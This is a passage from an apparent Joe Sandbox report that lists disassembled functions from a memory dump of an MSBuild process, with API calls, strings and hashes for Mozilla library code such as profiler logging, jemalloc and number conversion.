__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,6CBCEE51,00000000,?), ref: 6CC260BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CC260C4

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID:
API String ID: 3835517998-0
Opcode ID: edea3abbb8ab390d1b0cae4b5e7e3a4339f3c2ec8d14f26c48ae312d5490ba6f
Instruction ID: c70d37144bd2098c735323a2ff203b7c3a003e51c9673c9afe3b1553c6bb929e
Opcode Fuzzy Hash: edea3abbb8ab390d1b0cae4b5e7e3a4339f3c2ec8d14f26c48ae312d5490ba6f
Instruction Fuzzy Hash: AE21B575A002089FDF106F24DC09AAE7BB8FF45758F00C428E85E97641DB74A659CFE5

Function 6CC10000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CBD4A68), ref: 6CC0945E
Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CC09470
Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CC09482
Part of subcall function 6CC09420: __Init_thread_footer.LIBCMT ref: 6CC0949F

GetCurrentThreadId.KERNEL32 ref: 6CC10039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC10041
GetCurrentThreadId.KERNEL32 ref: 6CC10075
AcquireSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC10082
moz_xmalloc.MOZGLUE(00000048), ref: 6CC10090
free.MOZGLUE(?), ref: 6CC10104
ReleaseSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC1011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6CC1005B

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: 4c7ac460b3182fe51c79629b08a2273409ba541cf29f06e4a65b46fccfc1fd05
Instruction ID: 4ec61e758a5a6ad3a47522c8b2af3f4bb3886f8e8d24097a45d72f3738dab0b2
Opcode Fuzzy Hash: 4c7ac460b3182fe51c79629b08a2273409ba541cf29f06e4a65b46fccfc1fd05
Instruction Fuzzy Hash: 95418CB56006449FCB10DF65C840A9ABBF1FF49328F50C51EE95A87F50EB31E819CBA1

Function 6CBD7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBD7EA7
malloc.MOZGLUE(00000001), ref: 6CBD7EB3

Part of subcall function 6CBDCAB0: EnterCriticalSection.KERNEL32(?), ref: 6CBDCB49
Part of subcall function 6CBDCAB0: LeaveCriticalSection.KERNEL32(?), ref: 6CBDCBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6CBD7EC4
mozalloc_abort.MOZGLUE(?), ref: 6CBD7F19
malloc.MOZGLUE(?), ref: 6CBD7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CBD7F4D

Strings

d, xrefs: 6CBD7F89

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 6a4bee348d48f4e09d4bba3923917ae417f104cfe44d4aa32fdd057944990961
Instruction ID: 2233b74dff741a639f9dfcfbb9cc372ffb012289ceb17d3f8fc362901cbd1ac6
Opcode Fuzzy Hash: 6a4bee348d48f4e09d4bba3923917ae417f104cfe44d4aa32fdd057944990961
Instruction Fuzzy Hash: 7C31F671E1039897DF00DB68DC449FEB778EF96208F059668EC495B612FB71A9C8C391

Function 6CBD3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6CBD3EEE
RtlFreeHeap.NTDLL ref: 6CBD3FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6CBD4006
RtlFreeHeap.NTDLL ref: 6CBD40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CBD3CCC), ref: 6CBD40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CBD3CCC), ref: 6CBD40C2
RtlFreeHeap.NTDLL ref: 6CBD4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6CBD3CCC), ref: 6CBD4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6CBD3CCC), ref: 6CBD4157

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 349e2a77ab6740c9c46eef529c9e36d1e11b04a4b6aae4a8791e5e3a9a063f57
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 35A18FB6A00255CFDB40CF28C88065AB7B5FF48308F2645A9D909EF742D771E886CFA1

Function 6CBC2030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6CBE3F47,?,?,?,6CBE3F47,6CBE1A70,?), ref: 6CBC207F
memset.VCRUNTIME140(?,000000E5,6CBE3F47,?,6CBE3F47,6CBE1A70,?), ref: 6CBC20DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6CBE3F47,6CBE1A70,?), ref: 6CBC211A
EnterCriticalSection.KERNEL32(6CC4E744,?,6CBE3F47,6CBE1A70,?), ref: 6CBC2145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6CBE3F47,6CBE1A70,?), ref: 6CBC21BA
EnterCriticalSection.KERNEL32(6CC4E744,?,6CBE3F47,6CBE1A70,?), ref: 6CBC21E0
LeaveCriticalSection.KERNEL32(6CC4E744,?,6CBE3F47,6CBE1A70,?), ref: 6CBC2232

Strings

MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6CBC2253, 6CBC2268
MOZ_CRASH(), xrefs: 6CBC227D

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 20f8764d771908c977f4cc9b895908705705703c5b410e894ad4d9a54055a18a
Instruction ID: 8bfce02f89f6856a977fa1a7dd996eed7b112956d2adb683649e95d79b6c9f31
Opcode Fuzzy Hash: 20f8764d771908c977f4cc9b895908705705703c5b410e894ad4d9a54055a18a
Instruction Fuzzy Hash: 0061D631F002568FDB04DE68C989B6E77B5EF85328F299139E524ABB94E7709C00C793

Function 6CBC48E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6CC0483A,?), ref: 6CBC4ACB
memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6CC0483A,?), ref: 6CBC4AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6CC0483A,?), ref: 6CBC4A82

Part of subcall function 6CBDCA10: mozalloc_abort.MOZGLUE(?), ref: 6CBDCAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6CC0483A,?), ref: 6CBC4A97
moz_xmalloc.MOZGLUE(15D4E801,?,6CC0483A,?), ref: 6CBC4A35

Part of subcall function 6CBDCA10: malloc.MOZGLUE(?), ref: 6CBDCA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6CC0483A,?), ref: 6CBC4A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6CC0483A,?), ref: 6CBC4AF4
moz_xmalloc.MOZGLUE(FFFE15E2,?,6CC0483A,?), ref: 6CBC4B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6CC0483A,?), ref: 6CBC4B2C

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: e2a65c1e8509b1f02af98393d4a315c55f006bfda28a7655c8ef8d8ac959877b
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: B3715AB1A007469FC754CF68C480AAAB7F5FF09308B104A7EE15A9BB51E731F655CB81

Function 6CC19D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CC18273), ref: 6CC19D65
free.MOZGLUE(6CC18273,?), ref: 6CC19D7C
free.MOZGLUE(?,?), ref: 6CC19D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CC19E0F
free.MOZGLUE(6CC1946B,?,?), ref: 6CC19E24
free.MOZGLUE(?,?,?), ref: 6CC19E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CC19EC8
free.MOZGLUE(6CC1946B,?,?,?), ref: 6CC19EDF
free.MOZGLUE(?,?,?,?), ref: 6CC19EF5

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 7d556aa6f61806810eafc06cc48b313be9d340be728663e67644e5327bcfa6df
Instruction ID: 1c1a7badc2b4b7c83f7c048fe639eff73c38f3e1e59812abb20619b26e6feefe
Opcode Fuzzy Hash: 7d556aa6f61806810eafc06cc48b313be9d340be728663e67644e5327bcfa6df
Instruction Fuzzy Hash: 4E71AFB0909B818BD712CF19C48055BF3F4FF99715B44965DE89A9BB02EB30E889CBC1

Function 6CC1DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CC1DDCF

Part of subcall function 6CBFFA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CBFFA4B

Part of subcall function 6CC190E0: free.MOZGLUE(?,00000000,?,?,6CC1DEDB), ref: 6CC190FF
Part of subcall function 6CC190E0: free.MOZGLUE(?,00000000,?,?,6CC1DEDB), ref: 6CC19108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC1DE0D
free.MOZGLUE(00000000), ref: 6CC1DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC1DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC1DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC1DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CC0DEFD,?,6CBD4A68), ref: 6CC1DF32

Part of subcall function 6CC1DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CC1DB86
Part of subcall function 6CC1DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CC1DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CC0DEFD,?,6CBD4A68), ref: 6CC1DF65
free.MOZGLUE(?), ref: 6CC1DF80

Part of subcall function 6CBE5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CBE5EDB
Part of subcall function 6CBE5E90: memset.VCRUNTIME140(6CC27765,000000E5,55CCCCCC), ref: 6CBE5F27
Part of subcall function 6CBE5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CBE5FB2

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: e716ad82ff34f758ffd66578a1b92cbd1c8aa8ed967eb2926c1bec5e64a8c99f
Instruction ID: 58b3babddf330c57cf3a707606286de0d368ab45a114c7fbe01e2e0e06ee42ac
Opcode Fuzzy Hash: e716ad82ff34f758ffd66578a1b92cbd1c8aa8ed967eb2926c1bec5e64a8c99f
Instruction Fuzzy Hash: BD51F9726097009BD722DF1AC8802AE7372BF95349F95411DD81A53F00F731F91ADB92

Function 6CC25D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6CC25C8C,?,6CBFE829), ref: 6CC25D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6CC25C8C,?,6CBFE829), ref: 6CC25D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6CC25C8C,?,6CBFE829), ref: 6CC25D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6CC25C8C,?,6CBFE829), ref: 6CC25D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6CC25C8C,?,6CBFE829), ref: 6CC25DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6CC25C8C,?,6CBFE829), ref: 6CC25DC9
std::_Facet_Register.LIBCPMT ref: 6CC25DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6CC25C8C,?,6CBFE829), ref: 6CC25E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6CC25C8C,?,6CBFE829), ref: 6CC25E45

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 0cf288fae6d19a8d83a58a6edc9e6393a32c65aa04cbc1d12b6c88f18959de2d
Instruction ID: 6510c9a932ef9a741e2b8c1ba1950e9e0adde6573da5ec7b8585ebd0f11e295c
Opcode Fuzzy Hash: 0cf288fae6d19a8d83a58a6edc9e6393a32c65aa04cbc1d12b6c88f18959de2d
Instruction Fuzzy Hash: C24182707002059FCB00EF65C998AAE77B5EF89318F5480A8E50A97795EB39D805CF51

Function 6CBFCC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6CBC31A7), ref: 6CBFCDDD

Strings

<jemalloc>, xrefs: 6CBFCF9F, 6CBFCFB3
: (malloc) Error in VirtualFree(), xrefs: 6CBFCFA4, 6CBFCFB8

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 264e39c0fabd2c1bdb4e53e9ebf1518fb7b84c1820e4269e797861ff3ccad158
Instruction ID: 7681fd8ee77f274601fc59efe918c977538702ac8d11deeb5f7454e5744431c2
Opcode Fuzzy Hash: 264e39c0fabd2c1bdb4e53e9ebf1518fb7b84c1820e4269e797861ff3ccad158
Instruction Fuzzy Hash: FF31C4307402455BFF20AF698C55BAE7B75EB41758F20C018F624ABBC0EB70E44A87A2

Function 6CBCECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBCF100: LoadLibraryW.KERNEL32(shell32,?,6CC3D020), ref: 6CBCF122
Part of subcall function 6CBCF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CBCF132

moz_xmalloc.MOZGLUE(00000012), ref: 6CBCED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBCEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6CBCEDCC
CreateFileW.KERNEL32 ref: 6CBCEE08
free.MOZGLUE(00000000), ref: 6CBCEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CBCEE32

Part of subcall function 6CBCEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6CBCEBB5
Part of subcall function 6CBCEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6CBFD7F3), ref: 6CBCEBC3
Part of subcall function 6CBCEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6CBFD7F3), ref: 6CBCEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6CBCEDC1

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: bff5b2f5ae979bbd9f04bf5540562e5a6a32f9d387bff4ace754244ecdf96b8b
Instruction ID: 7695ae3b46ef2907fada0c3c9a47c8544de75c15d9b456765be4ca9e05317f1d
Opcode Fuzzy Hash: bff5b2f5ae979bbd9f04bf5540562e5a6a32f9d387bff4ace754244ecdf96b8b
Instruction Fuzzy Hash: 0851E171E052D9CBDB10DF68D8426EEB7B0EF49358F04852DE8556B740E730A988CBA3

Function 6CC3A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CC3A565

Part of subcall function 6CC3A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC3A4BE
Part of subcall function 6CC3A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CC3A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CC3A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CC3A6B6

Strings

z, xrefs: 6CC3A6AE
0, xrefs: 6CC3A5FB

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 80b5a86c7d797b8d2936c4e934821b928524b984b96f027f79f937f9e79aa7a2
Instruction ID: 26c175b2db670ab8eec0d5c89cf055e77355f4f69d978da6fcc29c80b1d93ecd
Opcode Fuzzy Hash: 80b5a86c7d797b8d2936c4e934821b928524b984b96f027f79f937f9e79aa7a2
Instruction Fuzzy Hash: 86413571A087459FC741DF28D080A8FBBF4BFC9344F409A2EE49987650EB30E659CB82

Function 6CBC78C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6CC4008B), ref: 6CBC7B89
free.MOZGLUE(?,6CC4008B), ref: 6CBC7BAC

Part of subcall function 6CBC78C0: free.MOZGLUE(?,6CC4008B), ref: 6CBC7BCF

free.MOZGLUE(?,6CC4008B), ref: 6CBC7BF2

Part of subcall function 6CBE5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CBE5EDB
Part of subcall function 6CBE5E90: memset.VCRUNTIME140(6CC27765,000000E5,55CCCCCC), ref: 6CBE5F27
Part of subcall function 6CBE5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CBE5FB2

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: ef66cd6ff4012db23fb2ccc9061f7b581838f48e5701073a000928a19eef036a
Instruction ID: 8f5131121932b80e2e867c12d3cc3f4117f7a7d3b879c98f733d2c4bec8931f6
Opcode Fuzzy Hash: ef66cd6ff4012db23fb2ccc9061f7b581838f48e5701073a000928a19eef036a
Instruction Fuzzy Hash: DEC1A171F011688BEB24CB68CCA0B9DB772AF41318F1542E9D51AB7BC0D7719E898B53

Function 6CC09420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

